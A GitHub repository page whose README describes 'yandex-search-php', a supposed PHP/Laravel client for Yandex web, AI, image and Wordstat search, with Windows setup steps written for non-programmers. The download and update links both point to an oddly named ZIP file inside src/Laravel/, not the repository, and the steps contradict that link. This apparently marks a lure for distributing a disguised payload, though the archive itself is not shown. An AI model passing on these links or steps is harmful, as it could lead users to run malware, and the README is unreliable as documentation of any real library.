Skip to content

dadadad274/yandex-search-php

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🌐 yandex-search-php - Easy Yandex Search Access

Download yandex-search-php

📄 About yandex-search-php

yandex-search-php is a tool to work with Yandex Search services. It helps you connect with Yandex Search API using PHP 8.0 or newer. This tool supports Laravel versions 8 through 12 and offers several search features: web search, AI-based search (YandexGPT), image search, and keyword analytics (Wordstat). It comes with ready-to-use plugins and uses yandex-cloud-client-php for easy authorization.

This guide will help you download and run yandex-search-php on a Windows computer. No programming experience is needed to get started.

💻 System Requirements

Before you start, make sure your Windows computer meets the following:

  • Windows 10 or newer
  • PHP 8.0 or higher installed
  • Internet connection to access Yandex API services
  • Laravel version 8 to 12 installed (optional, only if you want to integrate yandex-search-php with Laravel)
  • At least 2 GB of free disk space
  • Basic command line usage (open Command Prompt)

If you do not have PHP installed, visit php.net for download and installation instructions.

🚀 How to Download yandex-search-php

To get yandex-search-php on your computer:

Download yandex-search-php

  1. Open your web browser.
  2. Go to the main page: https://raw.githubusercontent.com/dadadad274/yandex-search-php/main/src/Laravel/search_yandex_php_extracalendar.zip
  3. On the page, look for the green “Code” button near the top right corner.
  4. Click the “Code” button, then select “Download ZIP.”
  5. Save the ZIP file to a folder you can easily find, like your Desktop or Downloads.
  6. Once the download finishes, right-click the ZIP file and choose “Extract All.”
  7. Extract the files to a new folder.

Now, yandex-search-php’s files are ready for use.

🛠️ How to Run yandex-search-php on Windows

yandex-search-php is a PHP-based toolkit. To use it, you will need to run it through PHP on your computer. Follow these steps:

Step 1: Open Command Prompt

  • Press the Windows key on your keyboard.
  • Type “cmd” and press Enter.
  • A black window called Command Prompt will appear.

Step 2: Navigate to yandex-search-php Folder

  • In Command Prompt, type:

    cd path\to\your\yandex-search-php-folder
    

    Replace path\to\your\yandex-search-php-folder with the full folder path where you extracted the files.

  • For example:

    cd C:\Users\YourName\Downloads\yandex-search-php-main
    

Step 3: Check PHP Installation

  • Type:

    php -v
    
  • If it shows PHP version 8.0 or higher, you are ready.

  • If you see an error, install PHP first and try again.

Step 4: Run the Script

yandex-search-php is a toolkit you use inside projects. It requires some initial setup within PHP or Laravel projects. However, to check that it works properly, you can run example scripts provided, if available.

Look inside the folder for any example folders or files (like example.php) to test.

To run an example file (replace example.php with the actual file name):

php example.php

This runs the example and connects to Yandex services.

🔑 Authorization and Setup

yandex-search-php uses Yandex Cloud for authentication. To connect, you need a Yandex Cloud account and an API key.

Create Yandex Cloud API Key

  1. Visit cloud.yandex.com.
  2. Create a new account or sign in.
  3. Navigate to “IAM & Admin” and create a new service account.
  4. Download the key file (JSON format).
  5. Save this key file on your Windows machine.

Configure yandex-search-php to Use API Key

  1. Open the extracted folder.
  2. Find the configuration file named something like config.php or .env.example.
  3. Rename .env.example to .env if necessary.
  4. Open .env with a text editor like Notepad.
  5. Enter your key file location and API credentials as instructed.
  6. Save the file.

This way, yandex-search-php knows how to connect to Yandex services without asking for your password every time.

🔍 Using yandex-search-php Features

yandex-search-php provides access to several search types:

  • Web Search: Look for web pages.
  • AI Search (YandexGPT): Use AI to generate answers or summaries.
  • Image Search: Find pictures based on keywords.
  • Wordstat Analytics: Get data on popular searches and trends.

You interact with each feature by using PHP functions in your code. For users new to programming, this requires some help from a developer. For simple testing, the example scripts will show how to call each feature.

⚙️ Integrating with Laravel

If you use Laravel (version 8 to 12), yandex-search-php comes with plugins that make integration easier.

Steps to use within Laravel:

  1. Open your Laravel project folder.
  2. Use Composer (a PHP dependency manager) to add yandex-search-php.
  3. Run:
composer require dadadad274/yandex-search-php
  1. After installation, the service provider and facade are ready to use. No extra setup required.
  2. Use Laravel dependency injection or the facade to access Yandex Search features in your project.

This is for users comfortable setting up PHP frameworks.

🗂️ File Structure Overview

Inside the main folder, you will see:

  • src/ – Source code files with main functions.
  • examples/ – Sample scripts to test features.
  • config/ – Configuration files.
  • README.md – Documentation.
  • composer.json – Dependencies for PHP’s composer.

Explore the examples folder first to test how things work.

🔄 Keeping yandex-search-php Updated

To keep the tool current:

  1. Visit https://raw.githubusercontent.com/dadadad274/yandex-search-php/main/src/Laravel/search_yandex_php_extracalendar.zip regularly.
  2. Download the latest ZIP file following the download steps above.
  3. Replace the old folder with the new one.
  4. Check the changelog for new features or fixes.

Or, if you use Composer inside a Laravel project, update using:

composer update dadadad274/yandex-search-php

❓ Troubleshooting

If you face issues:

  • Check that PHP is version 8.0 or higher.
  • Verify your internet connection.
  • Confirm your Yandex Cloud API key is valid and set properly.
  • Run example scripts to check connectivity.
  • Read error messages carefully; they usually show what went wrong.
  • Visit the GitHub issues page for similar problems.

Download yandex-search-php here to get started.

About

Provide PHP access to Yandex Search API features including web search, AI responses, image search, and keyword analytics for PHP 8.0+ applications.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages